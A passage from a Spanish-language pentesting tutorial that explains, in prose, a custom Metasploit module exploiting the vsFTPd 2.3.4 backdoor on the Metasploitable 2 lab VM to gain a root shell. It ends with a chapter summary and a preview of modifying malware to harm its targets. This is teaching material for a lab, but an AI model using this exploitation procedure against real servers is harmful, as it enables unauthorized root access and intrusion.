módulo de Metasploit, desde abrir el editor de texto “Pluma”, hasta la colocación del script en Ruby
en el directorio correspondiente.
Teniendo entendido lo anterior, compilarás esto y lo guardarás en el siguiente directorio, demos un
último vistazo a lo que compone el código y que es lo que hace.

Donde:

 De la línea 4 a la 9 podremos notar como estamos especificando que este código trabajará
con la librería “core” del Framework de Metasploit, también indicamos en la clase
“MetasploitModule”, indicando el tipo de funcionalidad (Remote) y la calificación.
 En la línea 11, con “def” estamos declarando el método referente a la información del
payload, como lo son detalles acerca de su funcionamiento, en las demás líneas también
podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que
funciona, la arquitectura por la que trabajará, payload etc.

Imagen 37.2: Declaración de clase y método para el exploit.

 De la línea 23 a 38 continuaremos con el bloque referente al método de inicialización
declarado, en estas líneas podremos encontrar detalles acerca del payload que usaremos,
como lo es el espacio en bytes, la no especificación de “BadChars”, la inhabilitación de los
No Operations, el tipo de payload y la conexión que se establece por búsqueda (referente
al malware), al final se especificó que el puerto en donde estará en función esté exploit.

Imagen 37.3: Declaración de clase y método.

 De la línea 44 a 67, nos encontramos con otro método declarado referente directamente al
exploit, ahora con condicionales. En donde iniciamos con “sockets” la conexión que se
establecerá para la Shell en el puerto 6200 del Host Linux, mostrando un “Status” acerca
de la situación del mismo al momento del encuentro con el malware. Si después de lo
anterior se establece la conexión, mostraremos un “Banner” en donde puede haber 3
mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo
anterior:

Imagen 37.4: Declaración método y condicionales para el exploit.

 Imagen 37.5: Declaración método y condicionales para el exploit.

 Por último, entre las líneas 88 y 105 nos encontraremos un método final que está
declarado, en este caso se trata del bloque de código que hará el trabajo con el backdoor
o malware que reside en el Host remoto, en donde veremos un condicional y diferentes
“print statements” correspondientes a cada uno de los resultados u outputs que se
obtengan, siendo estos el establecimiento o fallo de la conexión entre atacante y Host.

Imagen 37.6: Declaración método y condicionales para el encuentro con él malware.

Ahora que has finalizado con el código, lo guardarás con el nombre de tu preferencia (en este caso
fue ftp_exploit_hm.rb” es importante colocar la extensión de Ruby al final, seguido de esto
colocarás el script en el siguiente directorio que es donde residen los exploits en Parrot OS como
lo es en la mayoría de las distros para pentesting, y, por ende, donde este corresponde.
/user/share/metasploit-framework/modules/exploits/unix/ (“como quieras llamar a este folder”)

Imagen 37.7: Directorio del exploit formulado.

Una vez finalizado el proceso de formulación de tu exploit, es momento de ponerlo a trabajar y probarlo,
para ello habrá que utilizar el framework de Metasploit. Como ya sabes, habrá que inicializar el servicio
de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.
 Imagen 37.8: Inicio de servicio de Base de datos y del Framework.

Una vez inicializado el Framework, entrarás a tu módulo, que es el exploit que recién creaste. Para
ello solo basta con hacer uso del comando “use” y con el buscar a tu exploit entre el repositorio
del contenido en Metasploit, basta con saber la categoría y nombre:

Imagen 37.9: Directorio del exploit formulado.

Una vez estando dentro de nuestro módulo, ejecutaremos el comando “show options” para
enlistar o mostrar los parámetros de configuración con los que este opera o funciona, en donde
veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto.

En lo que se refiere al Host se trata de la dirección IP de este, en este caso estamos hablando de
la máquina virtual “Metasploitable 2” la cual está en función como un servidor FTP vulnerable, en
cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP. Para esto usaremos
los comandos la misma sintaxis que en ejercicio anterior, siendo estos set RHOST y set RPORT
en donde colocaremos la dirección IP y el puerto y al final lo ponemos en acción con “run”:

Imagen 38.0: Parámetros de configuración de nuestro módulo en Metasploit.

Si eres de los que les gusta transcribir el código para entenderlo o comprenderlo sobre la marcha
del proceso de compilación e hiciste todo de forma correcta, luego de la ejecución del comando
“run” Metasploit deberá arrojarte un “Banner” indicando la vulnerabilidad que estas intentando
explotar (vsFTPd 2.3.4). Si has seguido las instrucciones correctamente, mediante Metasploit
obtendrás una Shell de comandos sobre el sistema remoto (Metasploitable 2 / Servidor FTP)
en el puerto en donde opera el malware (6200), permitiéndote así navegar sobre los directorios
del Servidor como usuario “Root” (Superuser). En el ejemplo de abajo, se ejecutó el comando
“pwd” para ubicarnos en el sistema, arrojando el resultado “/”, que lo mayormente común en Linux
se trata del directorio raíz, con el comando “ls” enlistaremos todos los directorios que existen en
esa locación para posteriormente navegar entre ellos:

Imagen 38.1 y 38.2: Obtención de Shell sobre servidor FTP y navegación por directorios.

A lo largo de este capítulo cubrimos varios temas referentes al desarrollo de exploits, desde la creación de un simple programa que
cuenta con una pila desbordable y como vulnerarlo con scripts hechos en Perl, ya sea mediante comunicación por telnet o
remotamente desde Parrot, también pisamos terreno más a fondo al momento de trabajar con una aplicación más completa al involucrar
el uso de un Debugger para hacer Fuzzing de la aplicación y así identificar el “Buffer Overflow” con el que cuenta esta, así como
también el uso de Mona.py en un Debugger para facilitarnos la elaboración de un script mayormente perjudicial que ocasione un
desbordamiento de esta aplicación.

También cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura y el contexto del proceso de
formulación de exploits, como lo son los registros EIP y ESP en cuanto se trate de Overflows. Y por último en la segunda mitad nos
familiarizamos en la creación de módulos de Metasploit, como es que deben estar constituidos estos para que funcionen o el
framework los tome en cuenta, hasta la elaboración de un “Auxiliary” que causa un desbordamiento a nivel kernel de un sistema
Windows 7 y la elaboración de un exploit que se aprovecha de una vulnerabilidad en servidores FTP, comprometiendo así el host
remoto. Ahora que ya te ensuciaste un poco las manos con esto, compilando código en diferentes lenguajes y utilizando debuggers para
hacer algo de Reversing, es momento de que pases a algo un tanto más complejo como lo es el Modding, en donde se adentraras en
las entrañas del malware para así realizar cambios que resulten favorables para ti y obvio…. lo contrario para quien va destinado.